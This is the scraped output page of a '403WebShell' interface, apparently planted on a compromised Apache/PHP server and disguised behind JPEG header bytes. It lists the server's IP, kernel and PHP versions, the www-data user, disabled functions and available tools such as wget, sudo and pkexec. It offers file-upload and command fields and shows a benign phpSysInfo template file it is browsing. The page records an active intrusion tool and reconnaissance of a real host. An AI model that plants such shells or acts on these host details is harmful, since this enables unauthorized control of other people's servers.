????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.144.114.93
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/phpsysinfo/includes/output/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/phpsysinfo/includes/output/class.Template.inc.php
<?php 
/**
 * basic output functions
 *
 * PHP version 5
 *
 * @category  PHP
 * @package   PSI_Output
 * @author    Damien Roth <iysaak@users.sourceforge.net>
 * @copyright 2009 phpSysInfo
 * @license   http://opensource.org/licenses/gpl-2.0.php GNU General Public License
 * @version   SVN: $Id: class.Output.inc.php 315 2009-09-02 15:48:31Z bigmichi1 $
 * @link      http://phpsysinfo.sourceforge.net
 */
/**
 * basic output functions for all output formats
 *
 * @category  PHP
 * @package   PSI_Output
 * @author    Damien Roth <iysaak@users.sourceforge.net>
 * @copyright 2009 phpSysInfo
 * @license   http://opensource.org/licenses/gpl-2.0.php GNU General Public License
 * @version   Release: 3.0
 * @link      http://phpsysinfo.sourceforge.net
 */
class Template
{
    /**
     * Vars used in the template
     *
     * @Array
     */
    private $_vars;
    
    /**
     * Template file
     *
     * @String
     */
    private $_file;
    
    /**
     * Constructor
     *
     * @param String $file the template file name
     */
    public function __construct($file=null) {
        $this->_file = $file;
        $this->_vars = array();
    }
    
    
    /**
     * Set a template variable.
     *
     * @param string variable name
     * @param string variable value
     */
    function set($name, $value) {
        $this->_vars[$name] = is_object($value) ? $value->fetch() : $value;
    }
    
    
    
    /**
     * Open, parse, and return the template file.
     *
     * @param string $file
     *
     * @return string 
     */
    function fetch($file=null) {
        if(!$file) {
            $file = $this->_file;
        }
        
        // Extract the vars to local namespace
        extract($this->_vars);
        
        // Start output buffering
        ob_start(); 
        
        include(APP_ROOT.$file);
        
        // Get the contents of the buffer
        $contents = ob_get_contents();
        
        // End buffering and discard
        ob_end_clean();
        
        return $contents;
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit